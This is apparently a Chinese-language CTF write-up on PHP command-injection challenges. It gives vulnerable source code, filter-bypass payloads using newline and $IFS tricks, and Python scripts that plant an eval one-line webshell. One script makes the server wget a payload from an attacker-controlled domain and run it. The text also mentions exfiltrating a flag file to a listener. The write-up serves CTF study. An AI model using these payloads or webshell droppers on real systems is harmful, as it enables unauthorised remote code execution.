CTF练习之命令执行漏洞

前言:
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,
shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击

通过几道题总结一下命令执行攻击

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

// Get input

$target = $_REQUEST[ 'ip' ];
// var_dump($target);
$target=trim($target);
// var_dump($target);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );


// var_dump($target);

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows

$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";


?>

这道题中,一般执行任意命令的几个常用符号被过滤掉了,所以我们这里使用%0a
payload为:127.0.0.1%0awhoami
%0a作换行操作,在这里相当于先执行ping 127.0.0.1,再执行whoami

0x02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 

$ip = isset($_POST['ip'])?$_POST['ip']:die();

if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
die("ip 格式错误!");
}

echo strlen($ip);

if(strlen($ip)<7||strlen($ip)>21){
die("ip 长度错误!");
}

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows

$cmd = shell_exec( 'ping ' .$ip );
}else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' .$ip );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";

先尝试如何绕过格式和长度的限制,payload:ip=0.0.0.0|ls
但是我们读flag的时候就会出现长度错误的情况,

所以我们要通过bash语句将一个bash脚本写入服务器,其中bash脚本的内容可以为带有一句话木马的shell.php,然后运行该bash脚本,写入shell.php到后台
python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://192.168.199.153/CTF-master/exec/exec2.php";
for i in "echo '<?php @eval($_GET[c]); ?>' >> shell.php":
data = {"ip":"0.0.0.0|echo -n \\"+i+">>1"}
req = requests.post(url,data=data)
print(data["ip"])
print("shell upload successfully")

data = {"ip":"0.0.0.0|bash 1"}
req = requests.post(url,data=data)
print("getshell successfully")

我觉得这里有一个需要注意的地方是关于’\’转义,bash中’\’用于使得特使字符在其作用下,还是为其本身。

getshell

这道题还有另外一种解法:
(1)需要自己有一个较短的域名
(2)在服务器的根目录下写入一个302跳转

1
2
3
// index.php 

<?php header("Location: ./1.sh") ?>

(3)另外在根目录下写入一个bash脚本

1
2
#1.sh 
echo '<?php @eval($_POST[1]);?>' > shell.php

(4)这两个文件放在同一个目录下,执行

1
2
ip=0.0.0.0;wget i.com 
ip=0.0.0.0;sh index.html #刚好21个字符

然后就获取一个shell

0x03

1
2
3
4
5
6
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}

?>

升级版的写入shell,然后这个厉害了,七字shell
我们可以通过写入文件名的方法,获得一个bash脚本,
思路如下

然后我们使用命令:ls -t>a
我们把bash语句分块写入文件后,倒着写,为了是可以按照写入时间去排列,默认下是按照字母顺序,然后ls -t是让文件名按写入该目录的时间排序,时间后的在前,>a,保存着到a

运行bash脚本,到我们的域名所在的服务器,去下载shell.php文件,这样就能成功getshell
关于这里为什么不echo写入语句话木马,由于字数的限制,所以需要拆分语句$_GET[1]

这个被拆分后,就无法正常使用,所以我们使用方法二。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
!/usr/bin/python
#-*- coding: utf-8 -*-
import requests
def GetShell():
url = "http://192.168.56.129/shell.php?1="
fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"]
# linux创建中间有空格的文件名,需要转义,所以有请求"cn\ \\"
# 可以修改hosts文件,让a.cn指向一个自己的服务器。
# 在a.cn 的根目录下创建index.html ,内容是一个php shell
for fileName in fileNames:
createFileUrl = url+">"+fileName
print createFileUrl
requests.get(createFileUrl)
getShUrl = url + "ls -t>1"
print getShUrl
requests.get(getShUrl)
getShellUrl = url + "sh 1"
print getShellUrl
requests.get(getShellUrl)
shellUrl = "http://192.168.56.129/1.php"
response = requests.get(shellUrl)
if response.status_code == 200:
print "[*] Get shell !"
else :
print "[*] fail!"
if __name__ == "__main__":
GetShell()

0x04

代码执行漏洞中,如果代码为:

1
2
$cmd = $_GET['cmd'];
system("curl$cmd/flag.php");

由于执行命令,没有空格,所以这时候想到使用$IFS(内部分隔符),默认可为space,tab,newline
payload:$cmd=$IFS\file:///var/www/html/exam/flag.php$IFS\CURL

同样也可以通过vps监听端口的方式或者ceye.io来获取flag.php的内容
命令执行漏洞,发现对于curl的使用居多。

0%